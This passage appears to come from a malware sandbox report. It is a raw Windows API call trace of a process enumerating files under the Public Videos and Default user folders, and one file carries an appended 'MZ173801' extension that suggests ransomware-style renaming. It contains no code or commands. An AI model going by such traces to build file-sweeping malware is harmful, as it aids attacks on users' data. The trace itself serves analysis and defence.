ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xab, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.348] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 1 [0144.348] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.348] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.348] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 0 [0144.348] GetLastError () returned 0x12 [0144.348] FindClose (in: hFindFile=0x2fc700 | out: hFindFile=0x2fc700) returned 1 [0144.348] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 0 [0144.348] GetLastError () returned 0x12 [0144.348] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.348] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0144.348] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.348] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.348] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.348] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.348] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.348] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.348] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.348] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa06634a0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa06634a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 1 [0144.349] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa06634a0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa06634a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 0 [0144.349] GetLastError () returned 0x12 [0144.349] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.349] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.349] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.349] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.349] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.349] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.349] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.349] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.349] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa06634a0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa06634a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 1 [0144.349] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.349] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.349] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\*.*", lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa06634a0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa06634a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc700 [0144.349] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa06634a0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa06634a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.349] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be12937, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.349] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a8 | out: lpLocalFileTime=0x18f4a8) returned 1 [0144.349] FileTimeToDosDateTime (in: lpFileTime=0x18f4a8, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.349] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa06634a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Wildlife.wmv.MZ173801", cAlternateFileName="")) returned 1 [0144.349] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.349] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.349] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa06634a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Wildlife.wmv.MZ173801", cAlternateFileName="")) returned 0 [0144.349] GetLastError () returned 0x12 [0144.349] FindClose (in: hFindFile=0x2fc700 | out: hFindFile=0x2fc700) returned 1 [0144.350] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\*.*", lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa06634a0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa06634a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc700 [0144.350] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a8 | out: lpLocalFileTime=0x18f4a8) returned 1 [0144.350] FileTimeToDosDateTime (in: lpFileTime=0x18f4a8, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.350] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa06634a0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa06634a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.350] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.350] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.350] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be12937, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.350] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa06634a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Wildlife.wmv.MZ173801", cAlternateFileName="")) returned 1 [0144.350] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.350] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.350] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa06634a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Wildlife.wmv.MZ173801", cAlternateFileName="")) returned 0 [0144.350] GetLastError () returned 0x12 [0144.350] FindClose (in: hFindFile=0x2fc700 | out: hFindFile=0x2fc700) returned 1 [0144.350] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa06634a0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa06634a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 0 [0144.350] GetLastError () returned 0x12 [0144.350] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.350] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0144.350] GetLastError () returned 0x12 [0144.350] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0144.350] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x18f51c, nSize=0x400 | out: lpBuffer="C:") returned 0x2 [0144.350] GetFileAttributesW (lpFileName="C:\\Users\\Default" (normalized: "c:\\users\\default")) returned 0x13 [0144.350] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x18f51c, nSize=0x400 | out: lpBuffer="C:") returned 0x2 [0144.350] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0144.351] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.351] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0144.351] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0144.351] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0144.351] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0144.351] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0144.351] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0144.351] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0144.351] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0144.351] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0144.351] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0144.351] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0144.351] FindNextFileW 